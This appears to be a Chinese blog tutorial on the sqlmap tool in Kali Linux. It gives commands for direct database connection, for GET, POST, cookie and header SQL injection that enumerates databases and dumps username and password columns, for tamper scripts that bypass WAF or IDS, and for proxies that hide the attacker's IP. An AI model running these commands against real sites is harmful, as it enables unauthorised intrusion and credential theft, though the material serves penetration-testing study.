sqlmap确定目标/实操

安装kali,kali自带sqlmap,在window系统中跟linux系统操作有区别

sqlmap是一款自动化SQL工具,打开kali终端,输入sqlmap,出现以下界面,就说明sqlmap可用。

sqlmap确定目标

一、sqlmap直连数据库

1、直连数据库获得旗标

sqlmap -d "mysql://root:[email protected]:3306/dbb7" -f --banner

说明:

  • -d 或 --ds 参数用于指定数据库的连接字符串。
  • mysql://:指定了数据库的类型是MySQL。
  • root:123456:这是数据库的用户名和密码,分别是root和123456。
  • @192.168.137.111:指定了数据库的服务器IP地址,这里是192.168.137.111。
  • :3306:指定了数据库服务器的端口号,MySQL的默认端口是3306。
  • /dbb7:指定了要连接的数据库名称,这里是dbb7。
  • --banner:这个选项指示sqlmap尝试检索并显示数据库的版本信息(即"banner")。这对于了解目标数据库的类型和版本非常有用,因为不同的数据库类型和版本可能有不同的漏洞和弱点。

2、直连数据库获取用户及权限

sqlmap -d "mysql://root:[email protected]:3306/dbb7" -f --banner -users

二、sqlmap实操

1、sqlmap完整的get注入

sqlmap直接对单一的url探测,参数使用-u或者--url

  • 1、检测注入点

sqlmap -u 'http://xx/?id=1'

  • 2、查看所有数据库

sqlmap -u 'http://xx/?id=1' --dbs --batch

  • 3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current -db --batch

  • 4、查看表名

sqlmap -u 'http://xx/?id=1' -D 'security' --tables --batch

  • 5、查看字段

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns --batch

  • 6、查看数据

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump --batch

  • 7、查看字段值

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump --batch

2、参数说明

指定数据库/表/字段

  • -D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
  • -T 指定目标「表」,单/双引号包裹,常配合其他参数使用。
  • -C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

如:sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

2、post请求

sqlmap探测post盲注

步骤一:获取http请求生成test.txt文件

步骤二:使用基于时间技术的sqlmap探测-r

如:sqlmap -r test.txt --technique T -p uname

检测post请求的注入点,使用BP等工具抓包,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

如:sqlmap -r test.txt

3、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

如:sqlmap -u "http://xx?id=x" --cookie 'cookie'

4、sqlmap进行http头注入

指定注入位置进行注入,在保存的文件中,对于参数的修改为*,保存在txt文档中

再进行sqlmap -r /root/test.txt

5、sqlmap tamper脚本注入

--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下

如:sqlmap -u 'http://xx/?id=1' --tamper 'uppercase.py'

三、sqlmap其他参数

(1)常见参数
  • --method=GET 指定请求方式(GET/POST)
  • --random-agent 随机切换UA(User-Agent)
  • --user-agent ' ' 使用自定义的UA(User-Agent)
  • --referer ' ' 使用自定义的 referer
  • --threads 10 设置线程数,最高10
(2)性能优化参数
  • --keep-alive 设置持久连接,加快探测速度
  • --null-connection 检索没有body响应的内容,多用于注
  • --thread 最大为10 设置多线程
  • -o开启所有默认性能优化
  • -smart 快速判断,节约时间
  • 设置延迟 --delay 时间。当页面无变化,布尔无真假,从来不报错时用延时注入
  • 设置超时 --timeout 时间
  • 设置重新连接次数--retries 次数
(3)等级参数
  • --batch 自动选择yes。
  • --level=1 执行测试的等级(1-5,默认为1,常用3)
  • --risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。
(4)代理参数

隐藏自己的真实ip

  • --proxy http://ip: 端口
  • --proxy -file 使用一个包含多条代理的文件中的代理
相关推荐
技术宝哥2 小时前
Redis(2):Redis + Lua为什么可以实现原子性
数据库·redis·lua
学地理的小胖砸3 小时前
【Python 操作 MySQL 数据库】
数据库·python·mysql
dddaidai1234 小时前
Redis解析
数据库·redis·缓存
数据库幼崽4 小时前
MySQL 8.0 OCP 1Z0-908 121-130题
数据库·mysql·ocp
Amctwd4 小时前
【SQL】如何在 SQL 中统计结构化字符串的特征频率
数据库·sql
betazhou5 小时前
基于Linux环境实现Oracle goldengate远程抽取MySQL同步数据到MySQL
linux·数据库·mysql·oracle·ogg
lyrhhhhhhhh5 小时前
Spring 框架 JDBC 模板技术详解
java·数据库·spring
喝醉的小喵6 小时前
【mysql】并发 Insert 的死锁问题 第二弹
数据库·后端·mysql·死锁
付出不多7 小时前
Linux——mysql主从复制与读写分离
数据库·mysql
初次见面我叫泰隆7 小时前
MySQL——1、数据库基础
数据库·adb